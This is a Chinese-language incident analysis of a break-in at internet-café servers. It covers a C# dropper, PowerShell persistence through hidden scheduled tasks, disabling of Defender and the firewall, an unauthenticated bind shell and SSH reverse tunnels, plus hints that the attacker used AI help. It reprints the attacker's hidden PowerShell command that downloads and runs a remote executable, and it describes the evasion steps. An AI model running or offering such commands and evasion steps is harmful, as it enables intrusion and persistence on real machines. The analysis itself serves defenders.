摘要
本报告记录了一次针对网吧服务器及客户机的复杂入侵事件。
攻击者通过初始命令下载并执行 C# 释放器,部署了基于 SSH 反向隧道的后门体系(“wangba”),随后进一步植入“PRL 云控”挖矿客户端,并利用无盘镜像注入实现大规模持久化。
攻击者展现出高度定制化、自动化和持续演进的特征:早期使用独立 PowerShell 脚本,后期演变为 C# 一体化后门服务;远程控制工具从 TightVNC 更换为 RustDesk;无盘镜像篡改从手动添加启动项发展为自动化的镜像展开、注入、写回流水线。不同受害环境中发现同类下载器在 C2 地址、端口、客户端标识等存在差异,表明攻击者具备快速生成定制版本的能力。
部分样本中出现“claude”路径及规范代码风格,暗示可能使用 AI 辅助开发。
入侵行为分析
服务器后门建立
在接到客户反馈服务器被入侵之后,安全团队第一时间对服务器进行详细的排查,在命令记录中发现攻击者执行过的一条命令
powershell -NoP -EP Bypass -WindowStyle Hidden -Command "curl.exe -k -L 7eeK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Q4y4f1u0Q4c8e0k6Q4z5e0c8Q4b7V1u0Q4c8e0g2Q4z5o6N6Q4b7V1u0Q4c8e0S2Q4z5o6m8Q4z5o6g2Q4c8e0g2Q4z5f1k6Q4z5f1k6Q4c8e0g2Q4z5e0m8Q4z5p5c8Q4y4f1c8Q4x3V1k6U0x3e0c8F1N6#2)9J5k6h3g2^5k6b7`.`. -o C:\Windows\Temp\c14nw.exe; if ((Get-Item C:\Windows\Temp\c14nw.exe).Length -eq 1449984) { Start-Process C:\Windows\Temp\c14nw.exe }"
该命令从攻击者服务器中下载一个可执行文件并启动该文件。该文件由 C# 编写,是一个非常简单的释放器。

下面是该C#程序的反编译代码,这段代码是攻击者使用的一个 C# 编写的释放器,是整条恶意行为链的入口组件。它的主要功能是从自身资源中提取出一个压缩包,解压后调用 PowerShell 执行安装脚本,从而部署后续的后门组件。
代码从自身程序集的嵌入资源中提取 payload.zip,解压到临时目录 %TEMP%\media-extract-client14,最终安装目录为 C:\ProgramData\wb-media\client14。

该压缩包作为资源嵌入到可执行文件中:

该程序解压该压缩包,释放多个Powershell文件(install.ps1,launch.ps1 等)。随后该程序启动 PowerShell,以隐藏窗口、绕过执行策略方式运行 install.ps1。


install.ps1
install.ps1 接受三个参数:
-Staging(暂存目录)
-Final(最终安装目录)
-ExePath(源释放器路径)。
在上文的C#释放器代码分析中也有体现。
脚本首先在最终安装目录创建目录,随后将暂存目录中的所有文件复制到该目录。复制过程中排除 install.ps1 自身,待其他文件复制完成后,再单独复制自身到最终目录。完成复制后,脚本将最终目录设置为“隐藏 + 系统”属性,使其在常规文件浏览中不可见。

脚本使用 PowerShell 计划任务 cmdlet 创建两个计划任务,均以 SYSTEM 账户最高权限运行,并采用无窗口、绕过执行策略的方式:
·任务名 WbcTunnel:触发器为系统启动时,执行动作为 powershell.exe -NoP -EP Bypass -WindowStyle Hidden -File "<最终目录>\launch.ps1",用于开机自动启动后门核心。
·任务名 WbcWatchdog:触发器为立即开始,重复间隔为 5 分钟,执行动作为 powershell.exe -NoP -EP Bypass -WindowStyle Hidden -File "<最终目录>\wb-watchdog.ps1",用于周期检测后门隧道状态,一旦中断则自动重启。
脚本在注册计划任务后,立即以隐藏进程方式执行 launch.ps1,该脚本会启动核心后门模块 wangba-core.ps1,后者负责解密配置、关闭安全防护、启动绑定 Shell 并建立 SSH 反向隧道。


随后脚本 install.ps1 进入验证循环,最多等待 40 秒,每 2 秒检查一次本地端口 25014 是否处于监听,日志文件 <最终目录>\wb-run.log 中出现字符串 ssh still running,表明 SSH 隧道已成功建立。若任一条件成立,则判定后门部署成功。验证成功后,脚本执行以下清理操作。

launch.ps1
launch.ps1 是启动器脚本,脚本定义了一个名为 Start-HiddenProc 的函数,确保后续启动的进程不会弹出任何控制台窗口,完全在后台运行,增强隐蔽性。
脚本枚举所有名为 ssh 的进程,并仅终止其可执行文件路径匹配 *wb-media\client14* 的进程。这一过滤条件表明攻击者只终止自身部署的便携版 ssh.exe,避免误杀系统自带的 OpenSSH 进程,减少暴露风险。终止后等待 800 毫秒,确保端口释放。

脚本使用字符串拼接方式构建 wangba-core.ps1 的启动参数,包括:

这些参数决定了后门核心如何建立隧道、监听端口以及上报。
wb-watchdog.ps1
wb-watchdog.ps1 是保活组件,该脚本由计划任务 WbcWatchdog 每 5 分钟调用一次,用于监测 SSH 反向隧道进程是否存活,一旦发现隧道中断,立即重新执行 launch.ps1 以恢复后门连接。该机制保障了攻击者远程控制通道的持续可用。


wangba-core.ps1
wangba-core.ps1 是核心组件,该脚本由 launch.ps1 调用,负责完成配置解密、关闭安全防护、启动绑定 Shell、建立 SSH 反向隧道以及上报主机信息等关键恶意行为。
脚本接受多个参数,包括混淆的域名(DDNSObf)、端口(PortObf)、用户名(UserObf)、XOR 种子(XorSeed)、密钥文件路径(KeyDatPath)等。此外,脚本对 SSH 私钥文件 wangba-key.dat 进行多层解密,最终得到明文的 OpenSSH 私钥,并写入临时目录中的随机命名文件,设置 ACL 仅允许当前用户和 SYSTEM 读取。

脚本检测当前进程是否具备管理员权限,若具备则尝试执行以下操作:
关闭 Windows 防火墙(域、专用、公用配置文件);
禁用 Windows Defender 的实时监控、行为监控、IOAV 保护、脚本扫描;
将脚本所在目录、临时目录等加入 Defender 排除路径;
停止 WinDefend、WdNisSvc、Sense 等服务;
终止腾讯电脑管家、360 安全卫士等国内常见安全软件进程。

此外脚本还内置了一段 PowerShell 绑定 Shell (一种后门方式)代码,并将作为独立进程,监听本地指定端口。该 Shell 允许远程客户端连接后执行任意 PowerShell 命令,命令输出通过 __WB_END__ 标记进行分隔。绑定 Shell 无任何认证机制,任何能访问该端口的攻击者均可执行命令。


为了能随时访问受害者的机器,并绕过可能存在的防火墙,攻击者选择了隐蔽的SSH反向隧道作为后门方案。反向隧道不要求受害机器监听新端口。它只是主动向外发起一个 SSH 连接,然后复用这条连接回传数据。尤其是该连接由内网主机主动发起 SSH 出站连接。通常防火墙默认允许出站,尤其是 22、443 等端口。
攻击者首先在自己的公网服务器上开启一个SSH服务和一个低权限账户,配置SSH公钥认证。在受害者机器上释放SSH私钥、加密库、和 ssh.exe 客户端。而该脚本使用解密后的私钥和便携版 ssh.exe 建立到攻击者服务器的 SSH 连接,并通过 -R 参数创建多条反向隧道:
将攻击者服务器上的指定端口映射到受害服务器的 SMB(445)端口;
将映射端口指向 RDP(3389)端口;
[招生]科锐逆向工程师培训(2026年11月13日实地,远程教学同时开班, 第57期)